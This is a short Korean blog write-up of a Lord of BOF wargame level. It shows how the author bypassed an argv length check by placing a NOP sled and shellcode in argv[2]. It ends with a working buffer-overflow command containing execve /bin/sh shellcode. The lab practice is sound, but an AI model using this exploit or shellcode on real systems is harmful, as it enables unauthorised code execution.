판타지 소설로 치닫고 있는 lob
이번엔 늑대인간 코드다 ( password도 늑대인간스럽다. )
이번엔 argv[1]의 길이를 체크해준다.
이걸 우회할 방법을 이것저것 생각해봤다.
1. buffer에 shellcode
0x90이 많이 안들어가서 segmentation 오류가 계속 난다.
2. "A"*44+"주소"+"0x00"+"\x90"*200+"쉘코드"
해보니까 0x00뒤론 그냥 안들어간다.
삽질하다 검색으로 찾은 방법은 argv[2]이다.
결국 argv도 main의 parameter니까 ebp뒤에 있을거다.
argv[2]에 쉘코드를 넣고 이 주소로 jump시키면 쉘코드를 실행할 것이다.
argv에 \xbf를 48개 넣고 " "를 넣은 뒤 0x90을 200개 넣어보았다.
ebp부터 쭉 찾아보니 90909090이 있다.
저 주소중 하나로 RET를 overflow시키면 되겠다.
./darkelf `python -c 'print "A"*44 + "\xd0\xfb\xff\xbf " + "\x90"*200 + "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`
할 때마다 느끼지만 머리로 계산한게 실제로 작동하는게 참 신기하다.